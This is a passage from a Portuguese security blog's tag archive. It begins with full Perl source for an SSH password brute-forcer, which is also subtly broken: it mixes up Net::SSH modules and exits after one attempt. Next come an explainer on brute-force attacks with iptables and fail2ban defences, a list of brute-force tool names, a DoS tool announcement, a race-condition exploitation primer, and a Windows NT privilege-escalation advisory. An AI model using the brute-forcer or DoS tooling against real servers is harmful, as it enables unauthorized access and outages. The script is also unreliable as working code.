Arquivos de Tags: Segurança

Codigo-fonte Bruteforce.pl

Segue abaixo o source de um brute-force para atacar um ssh, escrito em perl.

#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Dicionario nao encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;

$t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($user, $try);
print "\n";
print "[+] Obtendo Pass";
print "\n";
print $i++ . ": Falha! - $try\n";

print "'$try - $i intentos";
last;
$t->close;
}
close(IN);

Ataques brute-force

Introdução

Este artigo visa apresentar o conceito por trás deste tipo de ataque. Brute-force pode ser traduzido como “força bruta” que faz total sentido ao seu uso, consiste em forçar a autentificação em determinado serviço na base da força bruta, tentando senha por senha até encontrar a senha certa.

Este tipo de ataque demanda bastante tempo, e sorte, o método e bastante simples ira testar todas as combinações de caracteres possíveis até obter a senha certa levando em conta a variação de senhas possíveis existentes, por exemplo uma tentativa de brute-force em um servidor de ftp, digamos que a senha do ftp seja do tipo $a@DF4O9%2K3) imagina só, o tempo que levaria para quebrar uma senha complexa como essa!

Além do grande tempo gasto nesses ataques, quase sempre os servidores estarão configurados para evitá-los, tornando bastante inviável esse ataque. Por causa da demorar em ir tentando senha/login por senha/login os ataques costumam utilizar ataques de dicionários, que utilizam arquivos que contenha strings(palavras) de possíveis senhas que serão usadas para obter acesso ao serviço, alguma das palavras pode vir a funcionar ou não.

Ferramentas para ataques brute-force

Segue abaixo uma lista com diversas ferramentas de brute-force, ambas escritas em python.

smtpbrute.py
ftpbrute.py
imapbrute.py
nntpbrute.py
snmp_brute.py
sshbrute.py
telnetbrute.py

Evitando brute-force

Não é difícil evitar um ataque brute-force, existem diversas configurações que lhe fornecem proteção contra esse tipo de ataque, é bastante comum os administradores de sistemas usarem no iptables:

#iptables -A INPUT -p tcp -s $IPDEORIGEM -d $IPSERVER --dport ssh -j ACCEPT
#iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
#iptables -A INPUT -p tcp --dport ssh -m recent --update --seconds 180 -j DROP
#iptables -A INPUT -p tcp --dport ssh --tcp-flags syn,ack,rst syn -m recent --set -j ACCEPT

No ssh costumam usar essa configuração no sshd_config:

MaxStartups 5:50:10

Em conjunto da mudança da porta padrão(que a porta 22) para outra qualquer, que já melhora bastante a segurança, também e comum o uso de ferramentas como BFD (Brute Force Detect) ou Fail2ban. Limitar o inicio das sessões SYN, no iptables pode ser feito da seguinte forma:

#iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
#iptables -A INPUT -p tcp --dport ssh -m recent --update --seconds 120 -j DROP
#iptables -A INPUT -p tcp --dport ssh --tcp-flags syn,ack,rst syn -m recent --set -j ACCEPT

Também não podemos esquecer de utilizar senhas seguras nos seus servidores, senhas com caracteres especiais, letras maiúsculas e minúsculas, números e um comprimento de pelo menos 14 caracteres. Sempre monitorar os logs procurando por tentativas de login que falharam muitas vezes.

Links:

Instalando fail2ban
Instalando block hosts
Instalando BFD
Artigo da CERT defesa contra força-bruta.

[]‘s

[Ferramenta]IntensiveDos

Excelente ferramenta para, código aberto, publicado por Lucas Fernando Vasconcelos de Arruda Amorim

IntensiveDos é uma ferramenta de DoS para pentesting, com ela fica muito fácil saber como o seu servidor responde e cataloga ataques do gênero. É uma ferramenta muito simples e livre de qualquer protocolo específico.

O fluxo da thread é bem simples: Abre Conexão > Escreve > Fecha Conexão. Se você precisar de algo mais específico, sinta-se livre para alterar o fonte.

Se você for abrir muitas threads é recomendável baixar o stack size, faça com um comando muito simples:

$ ulimit -s 400 (quanto menor mais threads)

Código abaixo.

Ler mais »

O perigo das funções que manipulam arquivos: Race condition

####################################################
################ Unsekurity Scene ##################
#########http://unsekurity.vitualave.net############
####################################################

Desenvolvido por Hophet hophet@yahoo.com.br
Este e outros txts podem ser obtidos em: http://unsekurity.virtualave.net (link não offline mais =/)


###############################################
############## Race Condition #################
####### Funções que manipulam arquivos ########
###############################################


* Índice:
———

1 – Introdução.
2 – Condições não Atômicas – Conceito.
3 – Explorando – Pratica.
4 – Consertando Tudo.
5 – Ultimas Palavras.
6 – Links.


1 – Introdução
————–

PS.: Todos os testes foram feitos em um Slackware 7.0 kernel 2.2.13, 2.2.18.

Fala Pessoal, mais uma vez aqui estou eu trazendo mais informações a respeito de “race conditions” pra comunidade fuçadora, o objetivo é documentar mais esta técnica tao pouco falada e aplicada. Espero que o pessoal venha usar as informações aqui contidas pra crescer em conhecimento e também aumentar um pouco mais a visão do fuçador nos possíveis esquemas, utilizando tal técnica. O problema mais uma vez acontece com a mau programação onde desenvolvedores de softwares não se preocupam com a segurança de suas aplicações e a partir daí surgem explorações diversas, mas pra frente veremos onde entra isso.

Se pode definir uma condição de Corrida(race condition) como um “Comportamento anomalito devido a uma dependência excessiva no tempo relativo transcorrido entre diferentes eventos”(tradução de Free On-line Dictionary of Computing). Estes eventos podem ser desde funções que abram um arquivo, também suas permissões, etc, ate a relação de valor de alguma variável compartilhada por 2 processo,como já foi dito antes.

Ler mais »

Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel

Em poucas palavras a falha permite um usuário qualquer obtenha os privilégios do usuário SYSTEM.

Mais informações:

Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack

Anuncio da falha

PoC

Fonte: Via Cabelo

[]‘s

Pagina 1 of 212
SEO Powered by Platinum SEO from Techblissonline